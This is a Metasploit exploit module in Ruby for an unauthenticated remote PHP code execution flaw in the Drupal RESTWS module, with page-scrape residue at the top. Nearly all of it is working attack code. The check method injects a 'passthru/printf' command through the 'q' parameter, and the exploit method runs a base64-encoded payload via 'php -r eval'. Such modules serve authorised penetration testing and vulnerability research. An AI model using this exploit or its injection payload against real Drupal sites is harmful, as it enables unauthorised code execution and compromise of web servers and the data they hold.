87 lines
2.5 KiB
Ruby
87 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a Remote PHP Code Execution vulnerability in the
|
|
Drupal RESTWS Module. Unauthenticated users can execute arbitrary code
|
|
under the context of the web server user.
|
|
|
|
RESTWS alters the default page callbacks for entities to provide
|
|
additional functionality. A vulnerability in this approach allows
|
|
an unauthenticated attacker to send specially crafted requests resulting
|
|
in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.7
|
|
are affected by this issue.
|
|
|
|
This module was tested against RESTWS 2.5 with Drupal 7.5 installed on
|
|
Ubuntu Server.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Devin Zuczek', # discovery
|
|
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://www.drupal.org/node/2765567']
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DisclosureDate' => 'Jul 13 2016',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
r = rand_text_alpha(8 + rand(4))
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"
|
|
}
|
|
)
|
|
|
|
if res && res.body.include?(r)
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
|
|
|
|
send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'index.php'),
|
|
'vars_get' => {
|
|
'q' => "taxonomy_vocabulary//passthru/#{cmd}"
|
|
}
|
|
)
|
|
end
|
|
end
|